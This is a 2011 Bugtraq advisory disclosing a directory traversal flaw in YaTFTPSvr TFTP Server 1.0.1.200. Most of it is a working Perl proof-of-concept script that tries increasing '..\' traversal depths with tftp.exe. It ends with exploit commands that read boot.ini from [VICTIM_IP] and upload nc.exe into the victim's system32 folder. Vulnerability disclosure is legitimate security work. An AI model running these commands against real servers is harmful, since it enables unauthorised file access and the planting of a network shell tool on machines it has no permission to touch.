bugtraq - YaTFTPSvr TFTP Server Directory Traversal Vulnerability

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Message-Id: <201110301056.p9UAuPbr029301@sf01web3.securityfocus.com>
Date: Sun, 30 Oct 2011 10:56:25 GMT
From: demonalex@....com
To: bugtraq@...urityfocus.com
Subject: YaTFTPSvr TFTP Server Directory Traversal Vulnerability

Title: YaTFTPSvr TFTP Server Directory Traversal Vulnerability
Software : YaTFTPSvr TFTP Server
Software Version : 1.0.1.200
Vendor: http://sites.google.com/site/zhaojieding2/ 
Vulnerability Published : 2011-07-11
Vulnerability Update Time :
Status : 
Impact : Medium
Bug Description :
YaTFTPSvr TFTP Server does not properly sanitise filenames containing directory traversal sequences that are received from an TFTP client.
Proof Of Concept :
After installing YaTFTPSvr in C drive, and set some pretreatment:
****************************************************************
#!/usr/bin/perl -w
$|=1;
$target_ip=shift || die "usage: $0 \$target_ip\n";
@directory_traversal=(
'..\tmp.txt',
'..\..\tmp.txt',
'..\..\..\tmp.txt',
'..\..\..\..\tmp.txt',
'..\..\..\..\..\tmp.txt',
'..\..\..\..\..\..\tmp.txt',
'..\..\..\..\..\..\..\tmp.txt'
);
open(TMP, ">tmp.txt");
print TMP "tmp";
close(TMP);
foreach $dt_content (@directory_traversal){
$dt_it=`tftp.exe $target_ip put tmp.txt $dt_content`;
print "command : tftp.exe $target_ip put tmp.txt $dt_content\n";
print "$dt_it";
if($dt_it=~m/^Transferred successfully/){
print "Directory Traversal PAYLOAD is $dt_content.\n";
print "Press [ENTER] Button to continue...\n";
<STDIN>;
}
sleep(3);
}
print "Finish!\n";
exit(0);
****************************************************************
Exploit :
****************************************************************
#get sensitive file
c:\windows\system32>tftp [VICTIM_IP] get ../../boot.ini boot.ini
#put malware
c:\windows\system32>tftp [VICTIM_IP] put nc.exe ../../WINDOWS/system32/nc.exe
****************************************************************
Credits : This vulnerability was discovered by demonalex(at)163(dot)com
Pentester/Researcher
Dark2S Security Team/PolyU.HK